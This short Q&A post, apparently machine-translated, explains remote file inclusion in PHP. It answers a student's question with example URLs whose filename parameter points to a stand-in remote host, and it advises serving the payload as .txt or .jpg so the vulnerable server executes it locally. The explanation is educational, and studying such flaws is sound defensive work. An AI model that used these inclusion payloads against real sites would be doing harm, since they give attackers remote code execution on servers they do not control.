File contains vulnerability issues

A student asked a question before , The file contains whether the vulnerability can be loaded php file , Later, I answered this question on YuQue

When using File Inclusion Vulnerability to include remote files, such as ：

http://localhost/index.php/?filename=http://xxx.com/phpinfo.php

phpinfo Whether the printed information is local information ？

answer ： no

The contents contained in our remote file are as follows php Parse the rendered , If you directly pull the executed php That will get the result directly , So, oh, we pull them in other formats , Such as ：

http://localhost/index.php/?filename=http://xxx.com/phpinfo.txt

http://localhost/index.php/?filename=http://xxx.com/phpinfo.jpg

And so on, so that the content can be parsed into php. Switch to jsp The same applies to type websites